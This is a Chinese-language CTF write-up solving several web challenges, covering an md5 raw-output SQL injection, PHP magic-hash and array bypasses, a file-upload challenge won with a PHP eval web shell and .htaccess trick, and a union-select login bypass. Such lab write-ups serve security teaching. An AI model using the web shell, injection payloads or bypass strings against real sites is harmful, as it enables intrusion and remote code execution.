1月17
首先打开题目,然后发现界面只有一个输入的
然后尝试sql万能密码注入,发现不行,但是得到的是用get传参password

接下来查看源代码,并没有得到什么,于是看看请求头和响应头
发现了一个提示。

很明显这里就是让我们传入一个数并且经过md5($pass,true)以后能够得到一个类似于'or'1=1之类的sql语句,
知识1:
md5($pass,true)意思是MD5以后的输出格式为原始16字符的二进制格式,
md5($pass,flase)意思就是md5以后的输出格式为32字符的16进制数。
这里我去查了wp,发现大佬的wp都是说直接输入ffifdyop就行了
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
输入以后得到

很明显是md5弱碰撞类型,从网上一查一大堆。
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
然后得到

知识:MD5的强比较,因为md5没法处理数组所以可以采用数组绕过

[MRCTF2020]你传你🐎呢
这是一道文件上传的题目

首先传一个带有木马的图片1.jpg
GIF89a
<script language="php">eval($_POST['cmd']);</script>
从bp上面尝试改后缀为phtml格式

发现失败了。
然后尝试采用提交一个.htaccess

直接提交不行于是我采用bp改格式成图片的

发现提交成功了,于是直接用蚁剑链接得到flag。
Ez_bypass
直接查看源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
很明显又是md5的强比较,于是又采用数组绕过
所以这个题目只需要用get传参
?gg[]=1&id[]=2
然后用post传参
passwd=1234567a
就得到了答案
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
You got the first stepGood Job!
[GXYCTF2019]BabySQli
进入题目首先尝试用
admin
'or'1 = 1#
来进行注入。
然后出现的wrong pass!
然后查看源代码发现源代码里面有

经过base 32 和base 64解码以后得到了如下:
select * from user where username = '$name'
然后采用bp抓包:

然后尝试在用order by 发现出现了
do not hack me!
说明被屏蔽了。
然后尝试用union联合查询,当我payload为下面的
name='union select 1,2,3,4#&pw='or 1=1#
出现了
Error: The used SELECT statements have a different number of columns
知识:联合查询查询不存在的数据会构造数据
于是我的payload:
name='union select 1,'admin','md5($pw)'#&pw='or 1=1#
通过php得到
MD5($pw)就是4cdee5485bd64d8688a84d8a4dab378c
于是
name='union select 1,'admin','4cdee5485bd64d8688a84d8a4dab378c'#&pw='or 1=1#
得到flag
flag{53fa0f95-b046-4b0e-818a-ce874d5d09ae}

浙公网安备 33010602011771号